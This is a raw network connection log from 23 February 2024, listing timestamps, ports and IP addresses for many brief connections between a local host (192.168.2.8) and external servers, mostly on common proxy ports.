Feb 23, 2024 14:28:23.014314890 CET	50371	60406	192.168.2.8	54.38.179.203
Feb 23, 2024 14:28:23.014969110 CET	80	50374	192.210.148.89	192.168.2.8
Feb 23, 2024 14:28:23.015851021 CET	50581	3128	192.168.2.8	194.93.25.55
Feb 23, 2024 14:28:23.016144991 CET	50583	3128	192.168.2.8	37.252.13.248
Feb 23, 2024 14:28:23.016388893 CET	50371	60406	192.168.2.8	54.38.179.203
Feb 23, 2024 14:28:23.017055988 CET	50584	9997	192.168.2.8	64.225.4.85
Feb 23, 2024 14:28:23.017921925 CET	50585	8080	192.168.2.8	38.172.128.24
Feb 23, 2024 14:28:23.018637896 CET	80	50469	172.67.150.173	192.168.2.8
Feb 23, 2024 14:28:23.018707037 CET	45698	49900	5.183.179.117	192.168.2.8
Feb 23, 2024 14:28:23.018838882 CET	50469	80	192.168.2.8	172.67.150.173
Feb 23, 2024 14:28:23.018979073 CET	50586	3129	192.168.2.8	20.204.190.254
Feb 23, 2024 14:28:23.019112110 CET	50469	80	192.168.2.8	172.67.150.173
Feb 23, 2024 14:28:23.019567966 CET	4145	50470	98.162.25.23	192.168.2.8
Feb 23, 2024 14:28:23.019956112 CET	50470	4145	192.168.2.8	98.162.25.23
Feb 23, 2024 14:28:23.020153046 CET	80	50473	172.64.86.217	192.168.2.8
Feb 23, 2024 14:28:23.020198107 CET	50587	4145	192.168.2.8	197.234.13.49
Feb 23, 2024 14:28:23.020277977 CET	50473	80	192.168.2.8	172.64.86.217
Feb 23, 2024 14:28:23.020577908 CET	80	50128	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:23.020654917 CET	50473	80	192.168.2.8	172.64.86.217
Feb 23, 2024 14:28:23.020680904 CET	80	50128	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:23.021403074 CET	20325	50465	72.10.164.178	192.168.2.8
Feb 23, 2024 14:28:23.022830009 CET	50058	44712	192.168.2.8	92.204.135.4
Feb 23, 2024 14:28:23.024549961 CET	80	50359	104.21.6.88	192.168.2.8
Feb 23, 2024 14:28:23.024561882 CET	80	50359	104.21.6.88	192.168.2.8
Feb 23, 2024 14:28:23.024579048 CET	33466	50193	141.94.174.6	192.168.2.8
Feb 23, 2024 14:28:23.024594069 CET	33466	50193	141.94.174.6	192.168.2.8
Feb 23, 2024 14:28:23.024806023 CET	50193	33466	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:23.025935888 CET	80	50361	104.17.166.210	192.168.2.8
Feb 23, 2024 14:28:23.026401997 CET	80	50361	104.17.166.210	192.168.2.8
Feb 23, 2024 14:28:23.026520014 CET	80	50359	104.21.6.88	192.168.2.8
Feb 23, 2024 14:28:23.027204037 CET	80	50361	104.17.166.210	192.168.2.8
Feb 23, 2024 14:28:23.027283907 CET	50359	80	192.168.2.8	104.21.6.88
Feb 23, 2024 14:28:23.027585030 CET	80	49926	50.222.245.46	192.168.2.8
Feb 23, 2024 14:28:23.027857065 CET	50361	80	192.168.2.8	104.17.166.210
Feb 23, 2024 14:28:23.028709888 CET	50847	50389	162.19.7.50	192.168.2.8
Feb 23, 2024 14:28:23.029968023 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.030000925 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.030057907 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.030097008 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.030128956 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.030136108 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.030190945 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.030215025 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.030222893 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.030265093 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.030343056 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.030349970 CET	80	49886	167.114.107.37	192.168.2.8
Feb 23, 2024 14:28:23.030359030 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.030374050 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.030390024 CET	49886	80	192.168.2.8	167.114.107.37
Feb 23, 2024 14:28:23.030633926 CET	80	50370	113.30.149.76	192.168.2.8
Feb 23, 2024 14:28:23.031414986 CET	50370	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:23.031738997 CET	50370	80	192.168.2.8	113.30.149.76
Feb 23, 2024 14:28:23.031738997 CET	50588	39811	192.168.2.8	213.244.79.227
Feb 23, 2024 14:28:23.032599926 CET	4145	50260	107.181.161.81	192.168.2.8
Feb 23, 2024 14:28:23.033025980 CET	4145	50260	107.181.161.81	192.168.2.8
Feb 23, 2024 14:28:23.033054113 CET	50361	80	192.168.2.8	104.17.166.210
Feb 23, 2024 14:28:23.033574104 CET	80	50175	190.103.177.131	192.168.2.8
Feb 23, 2024 14:28:23.034638882 CET	80	49988	32.223.6.94	192.168.2.8
Feb 23, 2024 14:28:23.036881924 CET	50589	4145	192.168.2.8	107.181.161.81
Feb 23, 2024 14:28:23.037031889 CET	8080	49872	177.229.210.50	192.168.2.8
Feb 23, 2024 14:28:23.037127972 CET	1080	49766	5.201.140.196	192.168.2.8
Feb 23, 2024 14:28:23.037162066 CET	80	50384	104.20.233.70	192.168.2.8
Feb 23, 2024 14:28:23.037240028 CET	80	50384	104.20.233.70	192.168.2.8
Feb 23, 2024 14:28:23.038089037 CET	80	50384	104.20.233.70	192.168.2.8
Feb 23, 2024 14:28:23.038178921 CET	50359	80	192.168.2.8	104.21.6.88
Feb 23, 2024 14:28:23.038261890 CET	50384	80	192.168.2.8	104.20.233.70
Feb 23, 2024 14:28:23.038463116 CET	49801	80	192.168.2.8	13.209.156.241
Feb 23, 2024 14:28:23.038464069 CET	49805	9735	192.168.2.8	216.10.242.18
Feb 23, 2024 14:28:23.038465023 CET	49799	3409	192.168.2.8	216.10.242.18
Feb 23, 2024 14:28:23.038480997 CET	49910	4145	192.168.2.8	1.2.221.134
Feb 23, 2024 14:28:23.038481951 CET	49807	80	192.168.2.8	207.180.250.238
Feb 23, 2024 14:28:23.038481951 CET	49803	63718	192.168.2.8	92.205.105.134
Feb 23, 2024 14:28:23.038481951 CET	49806	12000	192.168.2.8	217.182.153.29
Feb 23, 2024 14:28:23.038496971 CET	49809	1981	192.168.2.8	165.16.27.109
Feb 23, 2024 14:28:23.038497925 CET	49815	61725	192.168.2.8	104.248.158.78
Feb 23, 2024 14:28:23.038499117 CET	49810	8080	192.168.2.8	202.137.144.228
Feb 23, 2024 14:28:23.038547039 CET	80	50385	185.162.229.215	192.168.2.8
Feb 23, 2024 14:28:23.038573027 CET	80	50385	185.162.229.215	192.168.2.8
Feb 23, 2024 14:28:23.038597107 CET	49811	3865	192.168.2.8	51.210.45.148
Feb 23, 2024 14:28:23.038602114 CET	49808	12196	192.168.2.8	31.200.242.201
Feb 23, 2024 14:28:23.039407015 CET	50384	80	192.168.2.8	104.20.233.70
Feb 23, 2024 14:28:23.039450884 CET	80	50385	185.162.229.215	192.168.2.8
Feb 23, 2024 14:28:23.039649010 CET	50385	80	192.168.2.8	185.162.229.215
Feb 23, 2024 14:28:23.040612936 CET	80	50372	50.168.7.250	192.168.2.8
Feb 23, 2024 14:28:23.040791035 CET	80	50417	18.133.16.21	192.168.2.8
Feb 23, 2024 14:28:23.040867090 CET	50417	80	192.168.2.8	18.133.16.21
Feb 23, 2024 14:28:23.041425943 CET	50385	80	192.168.2.8	185.162.229.215
Feb 23, 2024 14:28:23.042238951 CET	80	50391	45.12.31.140	192.168.2.8
Feb 23, 2024 14:28:23.042737961 CET	80	49892	50.204.219.227	192.168.2.8
Feb 23, 2024 14:28:23.043195009 CET	80	50391	45.12.31.140	192.168.2.8
Feb 23, 2024 14:28:23.043894053 CET	80	50391	45.12.31.140	192.168.2.8
Feb 23, 2024 14:28:23.047074080 CET	3129	49922	20.219.177.85	192.168.2.8
Feb 23, 2024 14:28:23.047117949 CET	3129	49922	20.219.177.85	192.168.2.8
Feb 23, 2024 14:28:23.047164917 CET	3129	49922	20.219.177.85	192.168.2.8
Feb 23, 2024 14:28:23.047204018 CET	3129	49922	20.219.177.85	192.168.2.8
Feb 23, 2024 14:28:23.047214985 CET	49922	3129	192.168.2.8	20.219.177.85
Feb 23, 2024 14:28:23.047322989 CET	50391	80	192.168.2.8	45.12.31.140
Feb 23, 2024 14:28:23.048192024 CET	1080	49885	185.157.47.236	192.168.2.8
Feb 23, 2024 14:28:23.048213005 CET	49922	3129	192.168.2.8	20.219.177.85
Feb 23, 2024 14:28:23.048583031 CET	80	50420	184.169.154.119	192.168.2.8
Feb 23, 2024 14:28:23.048819065 CET	26169	50505	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:23.048880100 CET	50420	80	192.168.2.8	184.169.154.119
Feb 23, 2024 14:28:23.051105976 CET	48915	50321	138.201.21.232	192.168.2.8
Feb 23, 2024 14:28:23.051358938 CET	8443	49883	101.231.64.89	192.168.2.8
Feb 23, 2024 14:28:23.051388979 CET	8443	49883	101.231.64.89	192.168.2.8
Feb 23, 2024 14:28:23.051970005 CET	50417	80	192.168.2.8	18.133.16.21
Feb 23, 2024 14:28:23.052201033 CET	80	50403	31.43.179.214	192.168.2.8
Feb 23, 2024 14:28:23.052292109 CET	80	50403	31.43.179.214	192.168.2.8
Feb 23, 2024 14:28:23.052315950 CET	50391	80	192.168.2.8	45.12.31.140
Feb 23, 2024 14:28:23.052733898 CET	80	50403	31.43.179.214	192.168.2.8
Feb 23, 2024 14:28:23.052824020 CET	8443	50266	101.231.64.89	192.168.2.8
Feb 23, 2024 14:28:23.052882910 CET	50266	8443	192.168.2.8	101.231.64.89
Feb 23, 2024 14:28:23.052885056 CET	50403	80	192.168.2.8	31.43.179.214
Feb 23, 2024 14:28:23.053726912 CET	1585	50514	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:23.053807974 CET	50420	80	192.168.2.8	184.169.154.119
Feb 23, 2024 14:28:23.053808928 CET	50403	80	192.168.2.8	31.43.179.214
Feb 23, 2024 14:28:23.054090977 CET	8080	50392	185.38.111.1	192.168.2.8
Feb 23, 2024 14:28:23.054104090 CET	49813	34644	192.168.2.8	50.63.12.33
Feb 23, 2024 14:28:23.054104090 CET	50015	3128	192.168.2.8	37.120.222.132
Feb 23, 2024 14:28:23.054105043 CET	49812	4153	192.168.2.8	103.78.54.10
Feb 23, 2024 14:28:23.054106951 CET	49968	80	192.168.2.8	154.113.121.60
Feb 23, 2024 14:28:23.054106951 CET	49817	42560	192.168.2.8	66.29.128.244
Feb 23, 2024 14:28:23.054133892 CET	49819	49042	192.168.2.8	91.134.140.160
Feb 23, 2024 14:28:23.054133892 CET	49823	39593	192.168.2.8	96.36.50.99
Feb 23, 2024 14:28:23.054133892 CET	49814	4145	192.168.2.8	117.20.56.203
Feb 23, 2024 14:28:23.054164886 CET	50392	8080	192.168.2.8	185.38.111.1
Feb 23, 2024 14:28:23.054166079 CET	49825	3889	192.168.2.8	1.224.3.122
Feb 23, 2024 14:28:23.054363012 CET	6764	50429	198.105.111.86	192.168.2.8
Feb 23, 2024 14:28:23.054858923 CET	50266	8443	192.168.2.8	101.231.64.89
Feb 23, 2024 14:28:23.054862022 CET	50429	6764	192.168.2.8	198.105.111.86
Feb 23, 2024 14:28:23.055835009 CET	15265	50517	72.10.160.90	192.168.2.8
Feb 23, 2024 14:28:23.056572914 CET	50392	8080	192.168.2.8	185.38.111.1
Feb 23, 2024 14:28:23.056813955 CET	50193	33466	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:23.056847095 CET	999	50441	45.229.34.174	192.168.2.8
Feb 23, 2024 14:28:23.059433937 CET	50429	6764	192.168.2.8	198.105.111.86
Feb 23, 2024 14:28:23.061496019 CET	20003	50523	72.10.160.171	192.168.2.8
Feb 23, 2024 14:28:23.062906027 CET	50590	6467	192.168.2.8	107.181.141.70
Feb 23, 2024 14:28:23.063101053 CET	50591	3128	192.168.2.8	13.37.59.99
Feb 23, 2024 14:28:23.063577890 CET	80	50423	104.20.75.132	192.168.2.8
Feb 23, 2024 14:28:23.063604116 CET	49922	3129	192.168.2.8	20.219.177.85
Feb 23, 2024 14:28:23.063607931 CET	80	50423	104.20.75.132	192.168.2.8
Feb 23, 2024 14:28:23.064148903 CET	80	50423	104.20.75.132	192.168.2.8
Feb 23, 2024 14:28:23.064366102 CET	50423	80	192.168.2.8	104.20.75.132
Feb 23, 2024 14:28:23.064512968 CET	50423	80	192.168.2.8	104.20.75.132
Feb 23, 2024 14:28:23.066726923 CET	80	50479	50.168.163.181	192.168.2.8
Feb 23, 2024 14:28:23.069597006 CET	80	50519	50.217.226.40	192.168.2.8
Feb 23, 2024 14:28:23.069715977 CET	49818	4145	192.168.2.8	182.52.83.112
Feb 23, 2024 14:28:23.069719076 CET	49829	1080	192.168.2.8	177.8.170.122
Feb 23, 2024 14:28:23.069732904 CET	50062	80	192.168.2.8	50.173.140.150
Feb 23, 2024 14:28:23.069732904 CET	50079	20695	192.168.2.8	67.43.236.20
Feb 23, 2024 14:28:23.069734097 CET	49830	8080	192.168.2.8	183.89.14.229
Feb 23, 2024 14:28:23.069753885 CET	49824	8888	192.168.2.8	35.199.90.225
Feb 23, 2024 14:28:23.069756031 CET	49834	62181	192.168.2.8	145.239.2.102
Feb 23, 2024 14:28:23.069756031 CET	49827	3128	192.168.2.8	83.149.249.81
Feb 23, 2024 14:28:23.069756031 CET	49832	62842	192.168.2.8	146.190.84.209
Feb 23, 2024 14:28:23.069767952 CET	49835	25369	192.168.2.8	208.87.131.151
Feb 23, 2024 14:28:23.069768906 CET	49833	17270	192.168.2.8	92.204.136.149
Feb 23, 2024 14:28:23.069820881 CET	49836	34006	192.168.2.8	147.45.40.89
Feb 23, 2024 14:28:23.070175886 CET	49828	51778	192.168.2.8	192.169.226.96
Feb 23, 2024 14:28:23.071537971 CET	11673	50466	50.63.13.3	192.168.2.8
Feb 23, 2024 14:28:23.071641922 CET	50466	11673	192.168.2.8	50.63.13.3
Feb 23, 2024 14:28:23.072292089 CET	25007	49896	154.12.253.232	192.168.2.8
Feb 23, 2024 14:28:23.073587894 CET	3128	50396	79.101.37.78	192.168.2.8
Feb 23, 2024 14:28:23.073668957 CET	4145	49761	68.1.210.189	192.168.2.8
Feb 23, 2024 14:28:23.074003935 CET	3128	50198	34.83.143.6	192.168.2.8
Feb 23, 2024 14:28:23.074023962 CET	49761	4145	192.168.2.8	68.1.210.189
Feb 23, 2024 14:28:23.077022076 CET	50198	3128	192.168.2.8	34.83.143.6
Feb 23, 2024 14:28:23.077291012 CET	49761	4145	192.168.2.8	68.1.210.189
Feb 23, 2024 14:28:23.077393055 CET	50466	11673	192.168.2.8	50.63.13.3
Feb 23, 2024 14:28:23.080050945 CET	14133	50554	67.43.236.20	192.168.2.8
Feb 23, 2024 14:28:23.080487967 CET	50592	80	192.168.2.8	50.174.145.9
Feb 23, 2024 14:28:23.082467079 CET	50593	5678	192.168.2.8	189.84.125.189
Feb 23, 2024 14:28:23.083019972 CET	80	50448	185.162.228.154	192.168.2.8
Feb 23, 2024 14:28:23.083024025 CET	50595	30883	192.168.2.8	67.43.227.228
Feb 23, 2024 14:28:23.083095074 CET	80	50448	185.162.228.154	192.168.2.8
Feb 23, 2024 14:28:23.083292007 CET	80	50448	185.162.228.154	192.168.2.8
Feb 23, 2024 14:28:23.083482981 CET	50448	80	192.168.2.8	185.162.228.154
Feb 23, 2024 14:28:23.083723068 CET	4481	50507	50.231.0.43	192.168.2.8
Feb 23, 2024 14:28:23.084388971 CET	50594	1080	192.168.2.8	27.65.30.37
Feb 23, 2024 14:28:23.084389925 CET	50596	3128	192.168.2.8	103.176.179.84
Feb 23, 2024 14:28:23.084763050 CET	80	50451	104.16.230.163	192.168.2.8
Feb 23, 2024 14:28:23.084811926 CET	80	50451	104.16.230.163	192.168.2.8
Feb 23, 2024 14:28:23.084832907 CET	50448	80	192.168.2.8	185.162.228.154
Feb 23, 2024 14:28:23.085064888 CET	50451	80	192.168.2.8	104.16.230.163
Feb 23, 2024 14:28:23.085067034 CET	80	50451	104.16.230.163	192.168.2.8
Feb 23, 2024 14:28:23.085067034 CET	50597	3629	192.168.2.8	202.138.249.15
Feb 23, 2024 14:28:23.085326910 CET	50598	80	192.168.2.8	50.200.12.80
Feb 23, 2024 14:28:23.085326910 CET	49933	7497	192.168.2.8	68.183.88.14
Feb 23, 2024 14:28:23.085345030 CET	49838	8089	192.168.2.8	103.143.8.126
Feb 23, 2024 14:28:23.085345984 CET	49837	3125	192.168.2.8	103.1.50.51
Feb 23, 2024 14:28:23.085349083 CET	50005	80	192.168.2.8	50.239.72.18
Feb 23, 2024 14:28:23.085355043 CET	49845	8080	192.168.2.8	103.147.246.131
Feb 23, 2024 14:28:23.085355997 CET	49842	60781	192.168.2.8	132.148.129.254
Feb 23, 2024 14:28:23.085369110 CET	49844	8080	192.168.2.8	107.178.9.186
Feb 23, 2024 14:28:23.085370064 CET	49848	80	192.168.2.8	162.240.75.37
Feb 23, 2024 14:28:23.085370064 CET	49851	3128	192.168.2.8	193.239.86.247
Feb 23, 2024 14:28:23.085370064 CET	49846	8080	192.168.2.8	103.239.253.66
Feb 23, 2024 14:28:23.085387945 CET	50451	80	192.168.2.8	104.16.230.163
Feb 23, 2024 14:28:23.085388899 CET	49965	48744	192.168.2.8	182.160.127.53
Feb 23, 2024 14:28:23.086066961 CET	80	50025	50.174.7.153	192.168.2.8
Feb 23, 2024 14:28:23.086464882 CET	8459	50026	72.10.160.171	192.168.2.8
Feb 23, 2024 14:28:23.086679935 CET	56862	50486	166.62.53.45	192.168.2.8
Feb 23, 2024 14:28:23.086882114 CET	50486	56862	192.168.2.8	166.62.53.45
Feb 23, 2024 14:28:23.087112904 CET	80	50573	104.20.125.124	192.168.2.8
Feb 23, 2024 14:28:23.087145090 CET	50486	56862	192.168.2.8	166.62.53.45
Feb 23, 2024 14:28:23.087342978 CET	50573	80	192.168.2.8	104.20.125.124
Feb 23, 2024 14:28:23.087467909 CET	50573	80	192.168.2.8	104.20.125.124
Feb 23, 2024 14:28:23.087662935 CET	999	49957	191.97.19.66	192.168.2.8
Feb 23, 2024 14:28:23.088293076 CET	80	50576	104.24.15.158	192.168.2.8
Feb 23, 2024 14:28:23.088483095 CET	50576	80	192.168.2.8	104.24.15.158
Feb 23, 2024 14:28:23.088687897 CET	50576	80	192.168.2.8	104.24.15.158
Feb 23, 2024 14:28:23.089807987 CET	1088	50434	46.227.37.1	192.168.2.8
Feb 23, 2024 14:28:23.089975119 CET	3786	49751	148.72.212.212	192.168.2.8
Feb 23, 2024 14:28:23.090238094 CET	80	50578	185.162.228.48	192.168.2.8
Feb 23, 2024 14:28:23.090478897 CET	80	50579	104.25.135.170	192.168.2.8
Feb 23, 2024 14:28:23.090540886 CET	50578	80	192.168.2.8	185.162.228.48
Feb 23, 2024 14:28:23.090584993 CET	50579	80	192.168.2.8	104.25.135.170
Feb 23, 2024 14:28:23.093170881 CET	50578	80	192.168.2.8	185.162.228.48
Feb 23, 2024 14:28:23.093296051 CET	50579	80	192.168.2.8	104.25.135.170
Feb 23, 2024 14:28:23.094310045 CET	50599	80	192.168.2.8	190.128.228.182
Feb 23, 2024 14:28:23.095031977 CET	50600	3283	192.168.2.8	72.10.160.173
Feb 23, 2024 14:28:23.095148087 CET	7777	50044	123.30.154.171	192.168.2.8
Feb 23, 2024 14:28:23.095583916 CET	50601	31280	192.168.2.8	82.113.157.122
Feb 23, 2024 14:28:23.095963001 CET	8080	50029	103.216.50.11	192.168.2.8
Feb 23, 2024 14:28:23.096055984 CET	8080	50029	103.216.50.11	192.168.2.8
Feb 23, 2024 14:28:23.096225977 CET	80	49792	13.229.47.109	192.168.2.8
Feb 23, 2024 14:28:23.096329927 CET	50029	8080	192.168.2.8	103.216.50.11
Feb 23, 2024 14:28:23.096932888 CET	8080	50029	103.216.50.11	192.168.2.8
Feb 23, 2024 14:28:23.097163916 CET	50029	8080	192.168.2.8	103.216.50.11
Feb 23, 2024 14:28:23.097744942 CET	50602	999	192.168.2.8	201.182.149.29
Feb 23, 2024 14:28:23.100975990 CET	50115	55919	192.168.2.8	45.79.191.205
Feb 23, 2024 14:28:23.100994110 CET	50051	11201	192.168.2.8	38.41.0.6
Feb 23, 2024 14:28:23.100994110 CET	49843	3128	192.168.2.8	51.15.125.244
Feb 23, 2024 14:28:23.100994110 CET	49856	80	192.168.2.8	52.41.249.10
Feb 23, 2024 14:28:23.100995064 CET	49847	8080	192.168.2.8	103.188.168.66
Feb 23, 2024 14:28:23.101007938 CET	50078	80	192.168.2.8	50.173.140.151
Feb 23, 2024 14:28:23.101007938 CET	49854	4145	192.168.2.8	197.234.13.5
Feb 23, 2024 14:28:23.101012945 CET	49855	1981	192.168.2.8	154.236.179.229
Feb 23, 2024 14:28:23.103189945 CET	50603	44749	192.168.2.8	200.29.109.112
Feb 23, 2024 14:28:23.103693008 CET	80	49858	210.209.236.26	192.168.2.8
Feb 23, 2024 14:28:23.103779078 CET	15673	50352	43.153.133.208	192.168.2.8
Feb 23, 2024 14:28:23.103888988 CET	50604	15419	192.168.2.8	104.238.111.107
Feb 23, 2024 14:28:23.104018927 CET	50352	15673	192.168.2.8	43.153.133.208
Feb 23, 2024 14:28:23.104018927 CET	50352	15673	192.168.2.8	43.153.133.208
Feb 23, 2024 14:28:23.105201006 CET	4145	49711	72.210.208.101	192.168.2.8
Feb 23, 2024 14:28:23.105214119 CET	4145	49711	72.210.208.101	192.168.2.8
Feb 23, 2024 14:28:23.105217934 CET	50605	4145	192.168.2.8	61.7.138.226
Feb 23, 2024 14:28:23.105700970 CET	50606	16517	192.168.2.8	194.163.129.179
Feb 23, 2024 14:28:23.105999947 CET	50607	4145	192.168.2.8	72.210.208.101
Feb 23, 2024 14:28:23.106764078 CET	80	50469	172.67.150.173	192.168.2.8
Feb 23, 2024 14:28:23.106789112 CET	80	50469	172.67.150.173	192.168.2.8
Feb 23, 2024 14:28:23.106813908 CET	50608	4145	192.168.2.8	142.54.226.214
Feb 23, 2024 14:28:23.106822968 CET	9741	50492	94.142.137.203	192.168.2.8
Feb 23, 2024 14:28:23.106903076 CET	50492	9741	192.168.2.8	94.142.137.203
Feb 23, 2024 14:28:23.107003927 CET	51167	49945	207.180.236.140	192.168.2.8
Feb 23, 2024 14:28:23.107039928 CET	50492	9741	192.168.2.8	94.142.137.203
Feb 23, 2024 14:28:23.107059956 CET	50469	80	192.168.2.8	172.67.150.173
Feb 23, 2024 14:28:23.107364893 CET	39533	50481	167.172.109.12	192.168.2.8
Feb 23, 2024 14:28:23.107507944 CET	50609	8080	192.168.2.8	8.213.128.6
Feb 23, 2024 14:28:23.107578039 CET	80	50469	172.67.150.173	192.168.2.8
Feb 23, 2024 14:28:23.107747078 CET	80	49850	43.231.22.229	192.168.2.8
Feb 23, 2024 14:28:23.108184099 CET	50469	80	192.168.2.8	172.67.150.173
Feb 23, 2024 14:28:23.108273983 CET	80	50473	172.64.86.217	192.168.2.8
Feb 23, 2024 14:28:23.108344078 CET	80	50473	172.64.86.217	192.168.2.8
Feb 23, 2024 14:28:23.108500957 CET	50473	80	192.168.2.8	172.64.86.217
Feb 23, 2024 14:28:23.109357119 CET	80	50473	172.64.86.217	192.168.2.8
Feb 23, 2024 14:28:23.109946966 CET	50473	80	192.168.2.8	172.64.86.217
Feb 23, 2024 14:28:23.110088110 CET	39796	50490	141.94.174.6	192.168.2.8
Feb 23, 2024 14:28:23.110192060 CET	50490	39796	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:23.110265017 CET	50490	39796	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:23.110548019 CET	9997	50584	64.225.4.85	192.168.2.8
Feb 23, 2024 14:28:23.110574961 CET	50610	999	192.168.2.8	38.7.18.147
Feb 23, 2024 14:28:23.110619068 CET	50611	5385	192.168.2.8	72.10.160.170
Feb 23, 2024 14:28:23.110738039 CET	80	50401	50.207.199.80	192.168.2.8
Feb 23, 2024 14:28:23.110768080 CET	80	50315	58.234.116.197	192.168.2.8
Feb 23, 2024 14:28:23.111524105 CET	50612	7249	192.168.2.8	72.10.160.90
Feb 23, 2024 14:28:23.111618996 CET	50315	80	192.168.2.8	58.234.116.197
Feb 23, 2024 14:28:23.111963987 CET	50315	80	192.168.2.8	58.234.116.197
Feb 23, 2024 14:28:23.112387896 CET	50613	80	192.168.2.8	85.12.214.148
Feb 23, 2024 14:28:23.113014936 CET	50614	12582	192.168.2.8	37.187.73.7
Feb 23, 2024 14:28:23.113825083 CET	50615	8080	192.168.2.8	81.91.139.76
Feb 23, 2024 14:28:23.114109993 CET	50616	8080	192.168.2.8	125.25.32.228
Feb 23, 2024 14:28:23.114212036 CET	4145	50463	142.54.228.193	192.168.2.8
Feb 23, 2024 14:28:23.114283085 CET	50463	4145	192.168.2.8	142.54.228.193
Feb 23, 2024 14:28:23.114816904 CET	50463	4145	192.168.2.8	142.54.228.193
Feb 23, 2024 14:28:23.114923954 CET	8089	50273	111.224.11.67	192.168.2.8
Feb 23, 2024 14:28:23.114931107 CET	80	50557	50.173.140.148	192.168.2.8
Feb 23, 2024 14:28:23.115080118 CET	1080	49852	45.185.236.254	192.168.2.8
Feb 23, 2024 14:28:23.115102053 CET	50617	80	192.168.2.8	103.242.119.88
Feb 23, 2024 14:28:23.115288973 CET	1080	49852	45.185.236.254	192.168.2.8
Feb 23, 2024 14:28:23.115394115 CET	49852	1080	192.168.2.8	45.185.236.254
Feb 23, 2024 14:28:23.115394115 CET	49852	1080	192.168.2.8	45.185.236.254
Feb 23, 2024 14:28:23.115813017 CET	50618	8080	192.168.2.8	77.92.245.34
Feb 23, 2024 14:28:23.116323948 CET	50619	1080	192.168.2.8	45.185.236.254
Feb 23, 2024 14:28:23.116580009 CET	49867	23500	192.168.2.8	185.189.199.75
Feb 23, 2024 14:28:23.116584063 CET	49791	18080	192.168.2.8	60.188.102.225
Feb 23, 2024 14:28:23.116597891 CET	50118	28143	192.168.2.8	67.43.228.253
Feb 23, 2024 14:28:23.116599083 CET	49862	80	192.168.2.8	138.68.235.51
Feb 23, 2024 14:28:23.116601944 CET	49861	3128	192.168.2.8	103.113.71.230
Feb 23, 2024 14:28:23.116607904 CET	49870	33054	192.168.2.8	147.45.40.89
Feb 23, 2024 14:28:23.116615057 CET	49866	80	192.168.2.8	16.170.1.8
Feb 23, 2024 14:28:23.116635084 CET	49871	80	192.168.2.8	59.6.26.121
Feb 23, 2024 14:28:23.116863966 CET	44712	50058	92.204.135.4	192.168.2.8
Feb 23, 2024 14:28:23.116888046 CET	50620	20435	192.168.2.8	104.194.8.163
Feb 23, 2024 14:28:23.117371082 CET	8000	50510	199.188.92.47	192.168.2.8
Feb 23, 2024 14:28:23.117932081 CET	50621	999	192.168.2.8	45.4.203.115
Feb 23, 2024 14:28:23.118237972 CET	50510	8000	192.168.2.8	199.188.92.47
Feb 23, 2024 14:28:23.118237972 CET	50622	4531	192.168.2.8	31.200.242.201
Feb 23, 2024 14:28:23.118237972 CET	50510	8000	192.168.2.8	199.188.92.47
Feb 23, 2024 14:28:23.118832111 CET	80	50512	50.222.245.47	192.168.2.8
Feb 23, 2024 14:28:23.119335890 CET	50623	80	192.168.2.8	104.23.100.73
Feb 23, 2024 14:28:23.120134115 CET	50624	9812	192.168.2.8	200.116.198.222
Feb 23, 2024 14:28:23.120754957 CET	80	50361	104.17.166.210	192.168.2.8
Feb 23, 2024 14:28:23.121010065 CET	50625	80	192.168.2.8	104.225.220.233
Feb 23, 2024 14:28:23.122513056 CET	50626	8080	192.168.2.8	206.189.130.107
Feb 23, 2024 14:28:23.122597933 CET	50627	53281	192.168.2.8	12.218.209.130
Feb 23, 2024 14:28:23.123485088 CET	41866	50509	141.94.174.6	192.168.2.8
Feb 23, 2024 14:28:23.123717070 CET	50629	80	192.168.2.8	109.122.195.16
Feb 23, 2024 14:28:23.123755932 CET	50628	8080	192.168.2.8	45.227.193.166
Feb 23, 2024 14:28:23.123776913 CET	50509	41866	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:23.123954058 CET	50509	41866	192.168.2.8	141.94.174.6
Feb 23, 2024 14:28:23.125109911 CET	50630	8080	192.168.2.8	103.163.80.14
Feb 23, 2024 14:28:23.125319004 CET	50631	80	192.168.2.8	103.147.182.36
Feb 23, 2024 14:28:23.125613928 CET	50632	80	192.168.2.8	185.162.228.128
Feb 23, 2024 14:28:23.126097918 CET	80	50359	104.21.6.88	192.168.2.8
Feb 23, 2024 14:28:23.126262903 CET	50633	80	192.168.2.8	185.225.232.191
Feb 23, 2024 14:28:23.126322031 CET	80	50384	104.20.233.70	192.168.2.8
Feb 23, 2024 14:28:23.126925945 CET	50634	8080	192.168.2.8	101.255.167.253
Feb 23, 2024 14:28:23.127099991 CET	8080	50139	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:23.127543926 CET	50635	38673	192.168.2.8	162.240.19.133
Feb 23, 2024 14:28:23.128134966 CET	8080	50139	176.98.81.85	192.168.2.8
Feb 23, 2024 14:28:23.128649950 CET	50636	23854	192.168.2.8	51.89.173.40
Feb 23, 2024 14:28:23.128654957 CET	50637	3128	192.168.2.8	154.84.142.117
Feb 23, 2024 14:28:23.128686905 CET	80	50385	185.162.229.215	192.168.2.8
Feb 23, 2024 14:28:23.129378080 CET	50638	46395	192.168.2.8	162.240.21.140
